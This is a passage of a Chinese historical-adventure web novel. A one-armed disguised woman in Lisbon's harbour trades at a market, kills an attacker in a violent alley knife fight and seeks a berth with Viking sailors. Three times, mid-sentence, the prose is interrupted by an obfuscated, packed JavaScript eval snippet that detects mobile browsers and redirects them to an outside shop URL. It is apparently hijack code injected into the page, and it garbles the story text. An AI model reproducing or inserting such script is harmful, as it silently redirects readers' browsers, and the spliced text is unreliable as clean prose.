名字一个个蹦出来，像石头砸在地上。木兰努力记住那些古怪的音节。 “你为什么帮他？”一个满脸络腮胡、叫奥拉夫的大汉突然开口，用的是葡萄牙语，眼睛直直盯着木兰，“你们东方人，不是最爱耍心眼做生意？” 问题尖锐，带着试探。 木兰放下杯子，独眼迎上对方的视线。她慢慢组织语句，像在沙地上小心翼翼地排布石子。 “他，”指向埃里克，“像我们家乡……北方的兵。直。不骗人。”她又指了指自己空荡的右袖，“我，受过骗。知道……不好。” 她用最简陋的词，说出了最本质的道理：同类相认，同苦相怜。 酒馆里又安静了片刻。然后，奥拉夫忽然哈哈大笑，举起自己的杯子：“说得好！为了‘不骗人’，喝！” 粗糙的陶杯碰撞在一起，麦酒溅出几滴。气氛松弛下来。 那晚，木兰听了许多。听埃里克他们用混杂的语言描述北方峡湾的壮丽，听他们抱怨地中海炎热的天气，听他们讲述航行中的冒险——遭遇风暴、与海盗交战、在陌生海岸寻找淡水。她如饥似渴地吸收着，不只是语言，更是这片陌生海域的知识：主要航路、补给港口、需要避开的危险区域、不同势力的旗帜与习惯。 她知道了“海狼号”主要跑北欧到地中海的航线，运载毛皮、琥珀和铁器，带回橄榄油、葡萄酒和丝绸。知道了他们正在这里等待一批维修的船帆，然后北上返回故乡过冬。 破晓时分，木兰带着满脑子的新词和一张逐渐清晰起来的海图印象，摇摇晃晃走回破棚。麦酒的效力让她有些晕眩，但精神却异常清醒。 她蜷缩在杂物堆旁，月光从残瓦缝隙漏下，在地上投出一小片银白。怀里，白玉簪贴着心口，温润如初。 耳边似乎还能听到酒馆里的喧嚣，那些铿锵有力的北方语言，和埃里克最后对她说的话：“林，你眼睛很利。在这地方，眼睛利比拳头硬有用。” 她闭上眼，嘴角浮起一丝极淡的、几乎看不见的弧度。 正在学习这个新世界的语言。 正在积攒力量。 港口的风穿过破棚缝隙，呜咽如远方故国的笛声。而在这片完全陌生的土地上，第一枚真正属于她的、不依赖运气的筹码，已经悄然落下。 --- 港口的破晓是被铁链声和醉鬼的呕吐声撕开的。木兰在老费尔南多那堆满破烂的棚子里蜷着，晨雾从板缝渗进来，一股子死鱼和烂木头的味。木兰从缺了口的木盆捧了一把水洗洗脸。换上靴子烂袄子。朝市场的方向走去。 三个月了。那些鸟语总算能听懂个大概。她在老费尔南多那堆垃圾摊子旁边蹲着，耳朵像捕兽夹子一样张着，葡萄牙话、西班牙话，连摩尔人骂娘的话都记了几句。老头一开始当她是个摆设，现在闲了，会主动开口蹦两句 “喂，林，”这天早上没几个客人，费尔南多用块脏得发硬的破布搓着一盏锈成疙瘩的铜灯，“东方……你们的皇帝，真住在金子造的宫殿里？” 木兰正把几颗威尼斯玻璃珠子按颜色分开，她头也不抬：“皇帝不住金殿，住宫城。很大，墙是红的，瓦是黄的。” 老头从鼻子里哼出一股气，听着像漏风的风箱。“听说你们那儿，做买卖的连 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081255|195323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乞丐都不如？” “当官的会读书的比什么都厉害，商人不重用。”她手指拨过一颗暗红色的珠子，“但我父亲就是卖药材的。认字，是从账本上开始的。” 费尔南多停了动作，那双浑浊的浅色眼珠子在她身上刮了一遍，最后钉在她左手上——那手上茧子是有，但虎口和指根那几块硬茧的形儿，可不是打算盘能磨出来的。“账本？”他拉长了调子，像在掂量什么，“老子看你那手，倒像是握过更带劲儿的玩意。” 木兰把珠子扔进陶碗，叮当一响。“也握过笔。考过试，见了皇帝。后来……”她顿了顿，“也摸过国库的账。” 棚子里死寂了两秒。然后费尔南多爆出一阵破锣似的干笑，笑得肩膀直抖。“国库？你？”他抹了把笑出来的眼屎，“林，你他娘编瞎话比卖货在行。”笑声停了，他眼里那点无聊的探询没了，换上一种市侩的算计，“不过嘛……赌一把？我下礼拜去法鲁弄点私货，这摊子归你管七天。你要是能让这摊子的利润翻两倍——不用两倍，翻一倍半就行——以后这摊子赚的钱，我分你三成。怎么样，敢不敢？” 这不是闲聊，是试探，也是甩包袱。这摊子半死不活，跟港口烂泥里的贝壳没两样。 木兰抬眼，那只独眼在棚子阴影里跟潭死水似的。“好。”就一个字。 接了摊子，她没像费尔南多那样蹲在油布后面打瞌睡。她在市场人堆里钻，耳朵竖着。两个热那亚布商人骂北非羊毛延迟迟到，鱼贩子因为冰岛渔船来了压低鳕鱼价的嘀咕，酒馆胖成木桶的老板娘骂骂咧咧说运麦芽马车坏在城外……乱七八糟的话，都是消息。 她溜达到码头，看船。一艘英吉利船正在补货，船长急得比手画脚，跟通译说要防水的帆布，越快越好。木兰记心里了。 回头在费尔南多那堆破烂山里翻，扯出几卷边上都长霉的旧船帆。把霉的地方切了，剩下的拿把豁了口的破匕首，裁成一块一块。 回到摊上，她在油腻的布上用炭条划拉几个字：“帆布，防水，便宜”。价比新布低一大截，但比卖废料贵好几倍。她跑到码头把船长叫过来，“拿两片试试，我这现成的，又便宜。不合适再找我无条件退！”英吉利船长是第一个掏钱的，接着是几个要运咸鱼过北海的汉萨商人——那些人身上一股子鱼腥和汗馊混合的刺鼻味。布两天卖光，挣的钱顶这破摊子平时半个月。 但这不够。赌的是翻倍，不是一锤子买卖。她还得想办法。 --- 她知道，自己要的压根不是这几块破钱。英吉利——那个满嘴酒气的老海商唾沫横飞比划的、铁鸟能上天、机器自己会转的鬼地方，才是漂洋过海的目的。可那地方的船票？里斯本的码头根本买不着。这不是钱的事，每艘去英吉利的远洋船舷梯下都杵着穿挺括制服、帽檐压得死低的士兵，眼睛毒得像搜老鼠的猫，一遍遍翻查行李和脸孔。想溜上去偷渡？难。 她想走，只能把握其他的机会。比如，一艘往北开的船。 维京人的“海狼号”是她眼皮子底下最可能的门路。那帮北方蛮子常年驾着长船在冷海，说不定会路过英吉利边上。埃里克，那个红毛的年轻桨手头子，是码头上唯一没拿她当废物看的外人。可交情太浅，薄得像冬天头一场霜。她太懂人心，想往里走，要么图利，要么讲义。跟王慎之那是利字当头，清楚明白。 跟这帮维京人？他们想要什么她还没看出。他们好像不缺钱，至少不像港口别的水手那样为几块铜币抠搜。至于义，那更没影。维京人看重诺言，也看重拳头，但这得拿时间熬，得一块出过海，经过些生死之事。哪怕她现在经常和这些赌鬼喝酒打牌，但也仅仅是码头上的朋友。 时间不等人，他们下次起锚北上之前，她怎么把这丁点交情，变成能踩上甲板的玩意？ 她还没摸着门道。只能等，像猎户布下陷阱，等猎物自己撞上来，或者老天爷给个意想不到的机会。 8. 北海渡5 埃里克一直很烦这市场弯弯绕绕的破规矩。 讨价还价？他说不利索那套车轱辘话，更是不屑那商贩对天发誓亏麻了的造作嘴脸。 后来认识了林，这独眼家伙话不多，有一说一，不玩虚的。埃里克就乐意往他摊子那边晃。 埃里克在老费尔南多摊子前蹲下，拿起一块波罗的海琥珀对着光看，冰蓝色的眼睛在港口脏兮兮的阳光里格外扎眼。 “真的？”他问得直接，葡萄牙语带着浓重的北方腔，像石头砸在木板上。 “真的。”木兰答得简单。 他没磨叽，掏钱买了。后来几次碰面，他会点点头，偶尔蹦一两个词：“天冷。”“风大。”“酒不错。” --- 今日上午，埃里克来了。那大个子往摊前一站，光都给挡了一片。“林。”他吐字还是又冷又硬，像冻硬了的肉。 木兰正把钱按大小摞，抬了头。 “晚上有空？”埃里克问得直来直去，“奥拉夫——我们船长，他老乡从北边带了桶好酒，‘硬货’。船长说，叫你去。” 奥拉夫船长？请她？木兰心里那根弦动了一下。这是个信号，可能屁用没有，但确实是她被圈进某个更近的圈子了。她把那点想趁机打听船期、港口的念头死死压下去。急不得。跟打铁一样，火候不到，硬敲全是渣。 “好。”她回得平稳。 埃里克点了下头，没废话，转身走了，靴子踩在码头的石板和烂泥上，发出沉重扎实的响声。 --- 日头快沉进海里，木兰收了摊布，她没直接奔码头那边闹哄哄的酒馆，那条路傍晚挤满了刚卸完货的水手、揽客的妓女和卖热食的小贩，汗味、香水味、食物腐烂的味道混成一团令人作呕的浊气。她照旧钻进那条背街的小巷。 巷子窄得只容两人并肩，两边是仓库斑驳的高墙，墙根堆着发霉的木箱、破桶和不知名的垃圾，散发出尿臊和腐烂物的恶臭。走了二三十步，她脚底下慢了几乎看不见的一丁点。 后头有尾巴。 不止一条。脚步声乱，拖着，不像是赶路的。粗重的呼吸声在狭窄的巷道里隐隐回响。 她没回头，步子照旧，心里那根弦绷紧了，一……二……至少四个。 前头巷口快到了，能看见主道上晃动的灯火和人影。她猛地加快，在路口右拐，身子泥鳅似的滑到一截凸出来的砖墙后头，背贴冷墙，墙面上湿漉漉的苔藓蹭在背上，冰凉黏腻。 杂乱的步子追到路口。 “操，那独眼杂种钻哪个屎洞去了？” “肯定猫起来了，残废能蹿多快？”另一个声尖得扎耳朵。 “分头找！约翰还等着呢，今天非把这小子屎打出来！” “……净他妈耽误工夫。” 骂骂咧咧的声音和脚步声朝着错误的方向远去，巷子里重归寂静，只有远处港口的喧嚣隐隐传来。 木兰从黑影里出来，独眼扫了圈空荡荡的巷口。约翰？那个赌输了玩不起的英格兰水手。但这帮人，她有印象，是码头另一伙更不是玩意儿的痞子。两帮人？ 她心一沉，立马明白了。是那个皮货贩子。她当众揭了他拿烂货充好的底，断了他财路，也扇了他脸。这孙子够下本，居然同时雇了因为赌局结仇的约翰和本地专捏软柿子的痞子，铁了心要办了她这个麻烦。 现在最聪明的，就是立马滚蛋，绕远路回费尔南多的破棚子。 可不知怎么的，也许是这些天在臭气熏天的市场里算计得脑仁疼，也许是埃里克嘴里那“硬货”勾起了压在骨头缝里的、属于另一种生活的记忆——一种混着暴烈、血和短暂快活的味道——她觉着，心口堵着的那团东西，得找个出口。今晚那口酒，她突然就一定想喝到。 木兰挑了条更偏、堆满大空木桶的岔道，想从那绕过去。桶身上沾着干涸的焦油和盐渍，散发着刺鼻的气味。 刚摸进岔道里头，前头出口那点亮光，就被一个铁塔似的身影堵了个严实。 “耗子果然爱钻这种屎尿地。”约翰抱着胳膊，咧着嘴，一口黄牙在昏光里瞅着瘆人，“小子，挺能蹿啊。” 皮货贩子从约翰边上拱出来，手指头差点戳到木兰鼻子上：“就他！这个该瘟的东方残废！害老子赔钱还丢份！今非让他交代在这！” 木兰闷着头，没吭声。右手的空袖管轻轻晃着。巷子里的空气凝滞了，海风的咸腥味里混进了汗臭和恐惧的酸气。 “上啊。”皮货贩子催。 五条影子围了上来。除了约翰和皮货贩子，还有三个脸都看不清的混混，眼神浑浊，身上散发着劣质酒和脏衣服的馊味，上来就踹。最向前的一个拿着棍子用尽全力的向头挥去。 木兰没退。 她左脚往后踏半步，身子往下微微一沉，一直松垂着的左手像蛰伏的毒蛇突然昂头——一道暗沉沉的黑光从下往上反撩！ “啊——！”木棍脱手砸地，那混混踉跄着倒退，两只手死死掐住自个儿脖子，指头缝里血跟泉眼似的往外喷，嗬嗬的怪声被血沫子堵在嗓子眼，眼神飞快地散了。身子一挺，直接挺砸地上，抽了两下，没动静了。 木兰左手反握着一把没光的匕首，刃口上血珠子往下滚。她没看那死了的混混，脸在阴影中看不清她的表情 。她靴筒里，一直插着这把最初在默市换来的匕首。 约翰脸上那狞笑一下子冻住了。他眼珠子猛缩，死死盯住木兰握刀的手——稳，稳得让人心头发毛。那不是街上打架的王八拳，是剔掉了所有废招、就为高效弄死人的法子。一刀抹脖子，干净利索。 剩下俩混混吓得往后蹦了半步，脸白得跟死人似的。 可木兰就一条胳膊。 “弄死他！”皮货贩子破了音地喊，声音因为恐惧而扭曲。 一个混混猛地把旁边半人高的大空木桶推翻了，沉甸甸的桶身轰隆隆朝着木兰碾过来，木兰侧身急闪，一只手不好掌握平衡，身子晃了一下。 就这一下。 另外俩混混眼里凶光又冒出来，攥着刀子扑上来。木兰就势往地上一滚，险险躲开捅向腹部的一刀，右肩旧伤那块儿却传来撕裂的疼——另一刀划开破衣裳，在她皮肉上添了道新口子。她闷哼一声，左手腕子一拧，匕首像毒蛇吐信，扎进正面那混混的肚子，顺势一绞。 惨嚎声把巷子死寂的空气撕了个口子。 第三把刀已经到了，直冲她心窝子来。木兰旧力刚卸，身子迟滞，眼看那点寒光就要扎进来—— 她猛地向左拧身。 “噗！” 刀尖扎透皮肉，深深楔进她左臂上部，卡在骨头缝里。 剧痛像闪电劈透全身，眼前猛地一黑。她差点把牙咬碎，把那声痛叫死死闷在喉咙里。她左手五个指头还死死抠着刀把，身子顺着扎进来的劲往前一送，匕首刃子向上疾掠，精准地划开持刀混混的手腕子。 热乎乎的血喷出来，第三声惨叫掺和进这片血腥。 五个围上来的，一个死了，两重伤倒地，血泊子漫开，一个捂着手腕子踉跄后退。就剩约翰和皮货贩子，僵在原地，骇然瞪着血泊子中间那个人——左胳膊上还插着别人的短刀，血顺着胳膊往下淌，湿了半边衣裳，可人还拿刀，缓缓转头望向他们，独眼森然，恶鬼一样。 约翰喉结滚了滚。他和那些混混不一样，那些渣滓成天就知道抢小孩的零钱，堵着落单的女人摸两把或抢点钱，找那些咳得快散架的老水手敲几个保护费，纯粹是恃强凌弱的蛆虫。 约翰跑过海，他是实实在在见过世面的水手，赌钱，酗酒，脾气暴躁，是他的缺点。但浪尖上讨生活，心也需要细。他走私过酒，船到过“自由港联邦”那种法外之地。 有一回，他船长因为一笔买卖坐地起价，他半夜起来撒尿，正巧撞见船长被自由港联邦的黑手悄无声息地处理掉。那场面他忘不了：干净，利落，没有多余动作，就是冲着要命去的。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081256|195323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >就跟眼前这个独眼家伙刚才那几下一样。那不是打架，是杀人。高效，冰冷，目的明确。 面子是丢了。可跟命比起来，面子算个屁。在海上玩命漂久了的人，都信自己的直觉。那玩意救过他不知多少次。 “我走。”他哑着嗓子。 “约翰？”皮货贩子魂都飞了，一把拽住他胳膊，“钱！你收了老子的钱！” 约翰猛地把他甩开，眼神都没在那贩子吓尿的脸上停。“留着给你自个买棺材。”他转身，步子起先发僵，跟着越来越快，最后简直是逃命似的冲出了巷子。 “约翰！三倍！老子出三倍！”皮货贩子冲着他背影绝望地喊。 回他的，只有约翰跑得更快的脚步声。 皮货贩子僵硬地扭回头。木兰正慢慢抬起左手——那把可笑的短刀还钉在她胳膊上，随着动作微微打颤。她脸上血糊糊的，就那只独眼，幽深冰冷打量着他的一举一动。 皮货贩子腿一软，直接瘫坐地上。 “是他！全是他！”那个手腕受伤、侥幸没死的混混突然厉声叫起来，把手里匕首架上皮货贩子脖子，“你刚说给三倍钱！拿出来！不然老子先给你放血！” 皮货贩子哆嗦得像风里的叶子，慌忙把钱袋掏出来。混混一把抢过去，拖着重伤嚎叫的同伙，连地上那具尸体都顾不上了，连滚带爬消失在巷子另一头，留下瘫成一摊烂泥、□□湿透的皮货贩子独自对着这片修罗场。 木兰没再看他一眼。她低头，她用牙咬住钉在左胳膊上的那把刀的把儿，额头青筋因为疼鼓起来，慢慢把那刀拔出来。血涌得更凶了。她又用牙配合膝盖，扯下腰里束袖子的布条，在伤口上边死死绞紧，粗糙的布料勒进皮肉。 做完这些，她才一步步，踩着没凝固的血，走出堆满木桶的阴暗巷子，回到越来越浓的夜色里。 --- 港口灯亮了，喧闹声远远传过来，跟身后巷子里那片死寂像两个世界。 在巷口跟主道接上的明暗交界那儿，一个高大的身影靠墙站着。红头发在港口刚亮起来的灯火和天边最后一丝暗红余烬映着。 是埃里克。 他站那儿，冰蓝色的眼珠子在昏光里特别清楚，一声不吭地看着蹒跚走过来的木兰，海风把他皮外套上的咸味和烟味吹过来。 可木兰从他站的位子、靴子边沾的土、还有那股子混了海风、烟味和长时间干等才有的气味判断，他来了有阵子了。 可能，从第一声不对劲的动静传过来，他就在这。 夜风吹过来，捎来酒馆那边维京人粗野的歌声和麦酒发酵的醇味，可吹不散这儿的血腥气。 木兰在离他几步远的地方停下。左胳膊上临时捆的布条已经叫血浸透了，暗红的液体顺着指尖往下滴，在她脚边积了一小洼。脸上血污没擦净，衣裳破烂。 过了半晌，她抬起还能动的左手，用手背还算干净的地方抹了下溅到下巴颏的血，开口，声音因为失血和疼有点低哑，可稳当得很： “走。不是要喝酒吗？” 埃里克的目光在她左胳膊上那道吓人的口子停了停，又挪回她脸上。他那张脸跟北海礁石一样，没什么表情 他没问，也没伸手扶，就转过身，迈开步子，冲着酒馆的灯火和歌声那头去了。步子稳稳当当，不快不慢，正好能让一个受了伤的人跟上。 木兰深吸了口气。空气里海水的咸涩、血锈的铁腥，还有前头隐约飘过来的、凛冽得像北地寒风似的酒气，混在一块。她最后瞥了眼身后吞了人命的黑巷子，眼里掠过一丝松快，随即抬脚，跟上了前头那团像引路火把似的红头发。 胳膊上的伤口随着步子一抽一抽地疼，可心里头那根绷得快断了的弦，好像跟着这场要命的厮杀，松了那么一点儿。 酒馆的喧哗越来越近，维京人粗野的战歌穿透里斯本港的夜色，混着酒杯碰撞的脆响和放肆的大笑，一股子豁出命去喝个痛快的狂气，随着海风扑面而来。 9. 北海渡6 酒馆门口那块厚重、被烟熏得发黑的毛皮帘子被掀开时，里斯本港夜晚的湿冷空气跟着灌进去一小股，但立刻就被里面蒸腾的热浪和喧嚷吞没了。 埃里克先侧身进去，木兰跟在他身后，进屋嘈杂的声浪瞬间放大了几倍——粗野的大笑、酒杯的碰撞、走调的歌声，还有劣质烟草燃烧的辛辣气味。 “哈！你们两个龟爬的货！”吧台旁边最宽大的一张木桌那里，一个像熊一样魁梧、留着火红色络腮胡的壮汉猛地站起来，声音像打雷，盖过了大半喧哗，“再不来，老子这桶‘奥丁之血’就要变''奥拉夫之尿''了！”是奥拉夫，“海狼号”的船长。 他这一嗓子，把附近几桌人的目光都吸引了过来。目光先落在埃里克身上，随即，像被磁石吸住一样，定在了木兰的左肩上。 那块临时捆扎的、已经被血浸透又干涸发硬的破布，在酒馆昏黄跳跃的光线下，显得格外刺眼。布条勒进皮肉，下面的伤口虽然不再流血，但肿胀扭曲的形状和周围大片深褐色的血污，看着就让人牙酸。 酒馆里静了一瞬，然后嗡嗡的议论声起来了。 “哟，这是怎么了？跟码头上的野狗干架了？”一个缺了颗门牙的水手咧嘴笑问。 “埃里克，”另一个红脸粗脖子的家伙用手肘捅了捅身边的同伴，声音不大不小，刚好能让这边听见，“你身上怎么干干净净？被咱们这‘独眼’护起来了？啧，没想到啊。” 几声看热闹不嫌事大的口哨和嗤笑从角落里传来。 几个平日里跟木兰打过几轮牌、喝过几杯廉价麦酒、算得上脸熟的人，也半开玩笑地嚷起来：“林，被谁欺负了？说！兄弟们给你找场子去！” 木兰没理会那些嘈杂，径直走到奥拉夫那张桌子前。桌子周围挤满了“海狼号”的船员，都是些身材魁梧、眼神里带着海上漂泊者特有的粗粝和野性的汉子。他们给她让开了一点空隙。 她在桌边站定，然后，在所有人的注视下，弯下腰，左手从破烂的靴筒里侧——一个不太起眼但顺手的位置——抽出了那把匕首。匕首不长，刃口在油灯下泛着冷硬的微光，上面还沾着没擦干净、已经变成黑褐色的血渍。 她没有说话，只是抬起左手，然后猛地向下一扎！ “笃！” 一声闷响。匕首穿透了桌面厚厚的木头，直没至柄，就立在奥拉夫面前的酒杯旁边，微微颤动着。 酒馆靠窗处喧闹和醉汉的大笑依旧，但奥拉夫所在的这一角，空气像被冻住了。没人说话，只有壁炉里的火还在噼啪作响烧着木头。 所有的目光都聚焦在那把匕首，和握着匕首柄的、骨节分明但稳定的左手上。 然后，木兰松开手，抬起眼，看向奥拉夫旁边那个抱着酒桶的老水手——也是这家连招牌都没有的酒馆的老板。“赶紧，”她的声音不高，甚至有些因为失血和疲惫带来的沙哑，但清晰地传到每个人耳朵里，“给我倒一杯来。” 短暂的沉默后，是奥拉夫先打破了僵局。他铜铃大的眼睛瞪着木兰，又看看桌上的匕首，粗声问：“怎么回事？” “来这里的路被几坨屎堵了，”木兰接过老板递过来的一只缺口陶杯，里面晃荡着浑浊的麦酒，“本来想绕开，结果在巷子里被盯上了。五个。” 周围的水手们脸上写满了不可置信。五个？堵一个缺胳膊少眼的残废？这他妈算哪门子事？ “就凭你？”那个缺门牙的水手忍不住又开口，语气里没有嘲讽，而是怀疑。 “他杀了。”埃里克的声音插了进来，像块闷石头“杀了一个。其他的，跑了。” 这句话比木兰扎在桌上的匕首更有冲击力。 “什么？！” “真的假的？” “就这小身板？埃里克，你他妈编故事也编得像样点！” 连那几个刚才说要“帮忙找场子”的熟人也愣住了，脸上的嬉笑慢慢褪去，换上一种混杂着惊疑和重新打量的神色。 木兰没理会这些议论。她端起陶杯，狠狠灌了一大口。劣质麦酒灼烧着喉咙，带来一种粗粝的暖意。她抹了下嘴角，酒精麻痹了疼痛：“那群渣子，领头的我认识。赌桌上输红眼的约翰，还有一个被我揭穿过卖烂皮子的奸商。堵在死胡同里。” “其实也可以躲着走，但是今天偏偏就想喝这一口。” 周围人更安静了。打架斗殴在码头是家常便饭，但弄出人命，性质就完全不同了。码头死人不是新鲜事，但若把事情闹大到惊动港务那些戴帽子的卫兵，他们可不会管谁先动手，谁都是一枪毙了命。 但奥拉夫眼睛一亮，他脸上那点阴沉的审视瞬间没了，嘴角猛地咧开。 “哈！”他短促地笑了一声，接着爆发出更响亮的笑声，“好！就为了口酒！” “行了！”他忽然爆发出一阵洪亮的大笑，震得头顶房梁仿佛都在抖，“哈哈哈哈哈！有意思！真他妈有意思！”他笑得前仰后合，用力拍打着厚实的橡木桌面，拍得桌上的酒杯酒桶砰砰作响，“被五个人堵巷子里，还惦记喝酒！痛快！真他妈的痛快！” 酒馆老板是一个脸上刻满风浪痕迹、瞎了一只眼的老水手，抬腿就朝他屁股踹了一靴子：“蠢货！轻点！老子这桌子还要用！” 奥拉夫好不容易止住笑，抹了抹笑出来的眼泪，盯着木兰：“行，小子，够种。”他朝木兰抬了抬下巴。“跟谁学的这手？看你这捅人的路子，不像是街头混混瞎比划。” 所有人的耳朵都竖了起来。 木兰放下陶杯，独眼平静地回视奥拉夫：“我当过兵。” “兵？”有人疑惑地重复。 “在北方。跟异族打。”木兰的声音依旧没什么波澜，像是在背诵一段遥远的、与己无关的历史，“那些人，跟你们差不多高，差不多壮。打起来，要命。”她抬起左手，指了指自己的大腿内侧，又虚点了一下喉咙，“想活下来，就得快，得准。找对地方，一下就够了。效率高。” 周围响起一片混杂着恍然和某种认可的“嘘”声。当兵的，打过仗，杀过人。他们同样刀口舔血，理解。 老水手老板端着两个巨大的、边缘坑洼的铜杯走过来，重重放在木兰和埃里克面前。杯子里是黑乎乎的液体，散发着一股异常凛冽、仿佛带着冰碴子气息的酒香，里面竟然还浮着几块小小的、不规则的冰块——在这里斯本的港口，这可是稀罕物。 奥拉夫抓起自己面前的铜杯，仰头灌了一大口，淡金色的酒液顺着他火红的胡子淌下来，滴在皮坎肩上。“好酒！” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081257|195323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他畅快地吼了一嗓子，然后把杯子往桌上一顿，目光再次锁住木兰，里面的笑意淡去，只剩下锐利的审视。 “这么狠的小子”他缓缓说道，手指无意识地敲击着桌面，“你在码头也混了些日子了。跟我们喝酒，打牌，现在又露了这么一手” 他身体微微前倾，声音压低了些，却带着一股不容置疑的压力，“说吧。你到底想干嘛？别跟老子扯什么就想交个朋友。你那眼神”他顿了顿，像在找一个合适的词，“是条狼。隔着老远就能闻到味。” 酒馆里再次安静下来，只有壁炉的火在噼啪作响。所有“海狼号”的船员都放下了酒杯，目光聚焦在木兰身上。气氛悄然变得有些紧绷。 木兰迎着他的目光，没有丝毫闪躲。她沉默了两秒，然后清晰说出： “我想当水手。” 短暂的死寂。 然后，“轰”的一声，整个酒馆爆发出几乎要掀翻屋顶的狂笑。捶桌子的，拍大腿的，呛得直咳嗽的。仿佛听到了本年度最荒谬的笑话。 “哈哈哈！水手？就你？” “独眼，你站岸上都晃悠，还想上船？” “回家找你妈吃奶去吧！小子！” 嘲笑声、嘘声、口哨声混成一片。 只有奥拉夫没有笑。他脸上甚至没有任何揶揄的表情，只是那双眼睛里的审视变得更加深沉。他抬起蒲扇般的大手，重重拍在木兰受伤的左肩上——尽管刻意放轻了力道，但那一下依然让木兰闷哼一声，身体晃了晃，伤口处传来撕裂的痛楚。 “小伙计，”奥拉夫的声音盖过了周围的哄笑，带着一种不容置疑的现实感，“你够狠，我承认。但水手这碗饭，不是你拎把刀、杀个人就能端的。”他指了指周围那些强壮的船员，“看看他们。海上不是你家后院。风浪一来，船能把你昨天的晚饭都晃出来。站稳？就凭你这一条胳膊，能在甲板上走直线都算你厉害！难道要老子专门找根绳子，把你像条咸鱼一样吊在桅杆上，免得你被浪卷走？” 他凑近了些，酒气混合着他身上海风、皮革和汗水的味道扑面而来：“而且，我们‘海狼号’出海，不是为了撒网捞鱼，也不是载着老爷太太们看风景。我们是战士，伙计。每一次升起船帆，都可能面对刀剑、弩箭，还有比你今天遇到的凶险十倍的搏杀。你，一个残废，凭什么？” 周围的哄笑渐渐平息，变成了一种带着轻蔑和好奇的沉默。今天这出戏实在是太精彩了。所有人都等着看这个不知天高地厚的东方小子如何回答。 木兰的脸上依旧没什么表情，仿佛那些嘲笑和质疑只是耳边刮过的风。她没有直接回答奥拉夫的问题，而是话锋一转，语气平淡得像在聊天气： “你们的船，在这里停得有点久了。”她的独眼扫过奥拉夫，又扫过酒馆里那些明显在等待什么、而非单纯休整的维京船员，“修几张帆，补点焦油，用不了这么久。你们……在等什么？” 这句话像一颗小石子投进平静的水面。奥拉夫脸上的肌肉几不可察地绷紧了一下，眼神瞬间变得锋利如刀。酒馆里的空气仿佛凝固了。有几个坐着的维京人下意识地调整了姿势，手似乎不经意地搭上了腰间的斧柄或刀柄，金属与皮革摩擦发出轻微的、令人不安的窸窣声。 10. 北海渡7 木兰对周围陡然升起的危险气息毫无反应。 甚至站起来端着沉重的铜杯。杯子里凛冽的酒液映着跳动的火光。她仰起头，喉结滚动，一口气灌了下去。 “嗝……”她放下杯子，这酒确实值。她看向奥拉夫，声音因为烈酒和刚才的灌饮而更加沙哑，却异常清晰： “刚才在巷子里，两个肩膀宽的窄道，五个人围我。我杀了一个，重伤两个，剩下的，跑了。” 她顿了顿，伸出左手食指，点了点自己的太阳穴：“还有。市场里，哪家的货好，哪家的货烂，哪个贩子手脚不干净，最新到港的是什么东西，哪些玩意儿碰不得……都在我脑子里。” 奥拉夫眯起了眼睛，没有打断。 “我知道你们在等什么。”木兰继续说道，语气笃定，“也知道你们想干什么。”她独眼里闪过一丝极淡的、像是算计又像是了然的光，“教我仓货怎么摆，船的结构哪里是要害。我帮你们更快、更安静地把麻烦解决掉。” “麻烦？”奥拉夫的声音低沉下去，带着一种被冒犯的愠怒，“小子，你在说什么疯话？我们有什么打算，轮不到你一个外人来猜，更与你无关！” “是吗？”木兰的声音依旧平稳，“那你们为什么天天盯着港口的动静，特别是……那条即将满载而归的英吉利商船？错过这一趟，那船上的‘好货’，可就要舒舒服服运回去，让某些人继续过他们的好日子了。” 这句话像一把钥匙，猝然插进了锁芯。 奥拉夫的瞳孔骤然收缩！不仅是奥拉夫，酒馆里好几个核心船员的脸色都变了。他们死死盯着木兰，仿佛第一次真正看清这个瘦小、残废、却语出惊人的东方人。 木兰没有停。她像是在回忆，又像是在陈述一个亲眼所见的事实：“我去看船的时候，听到那英吉利船长，急着找防水的帆布，说要包裹一批‘精密的仪器’，怕海上颠簸弄坏了。”她看向奥拉夫，“他好像还很担心路上不太平，特意提到需要‘有经验的护卫’，说是怕遇到海盗。” “不过我听到那船长的通译提到了‘维京人’，表情很奇怪。他小声说‘维京人平时不惹别人啊’，就没再说下去。” 酒馆里落针可闻。只有粗重的呼吸声和炉火的噼啪声。 奥拉夫脸上的怒意消失了，取而代之的是一种极度复杂的神色——震惊、警惕、评估，还有一丝难以掩饰的、被说破秘密的震动。他缓缓坐直了身体。 “你……”他缓缓开口，“你这颗脑袋知道的太多了。知道的太多的人，往往活不长。留下你，说不定哪天你就干掉我了。”他这话半真半假，带着浓重的威胁。 但紧张的气氛，却被这句话奇异地打破了一些。周围的维京船员们从极度的震惊中回过神，互相对视一眼，竟有人低声笑了起来。不是嘲笑，而是一种带着点无奈和“真他妈见了鬼”的荒诞感。 